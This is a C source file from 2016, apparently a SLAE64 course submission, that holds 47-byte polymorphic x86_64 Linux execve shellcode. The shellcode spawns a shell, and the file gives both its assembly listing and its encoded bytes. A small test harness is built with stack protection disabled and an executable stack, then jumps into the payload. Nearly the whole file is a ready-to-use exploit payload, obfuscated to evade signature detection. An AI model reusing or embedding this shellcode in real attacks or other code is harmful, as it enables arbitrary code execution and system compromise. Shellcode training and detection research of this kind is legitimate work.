/*--------------------------------------------------------------------------------------------------------------------- /* *Title: x86_64 linux Polymorphic execve-stack 47 bytes *Author: Sathish kumar *Contact: https://www.linkedin.com/in/sathish94 * Copyright: (c) 2016 iQube. (http://iQube.io) * Release Date: January 6, 2016 *Description: X86_64 linux Polymorphic execve-stack 47 bytes *Tested On: Ubuntu 14.04 LTS *SLAE64-1408 *Build/Run: gcc -fno-stack-protector -z execstack sellcode.c -o shellcode * ./shellcode * global _start _start: xor esi, esi xor r15, r15 mov r15w, 0x161f sub r15w, 0x1110 push r15 mov r15, rsp mov rdi, 0xff978cd091969dd0 inc rdi neg rdi mul esi add al, 0x3b push rdi push rsp pop rdi call r15 */ #include #include unsigned char code[] = \ "\x31\xf6\x4d\x31\xff\x66\x41\xbf\x1f\x16\x66\x41\x81\xef\x10\x11\x41\x57\x49\x89\xe7\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xff\xc7\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x41\xff\xd7"; main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); }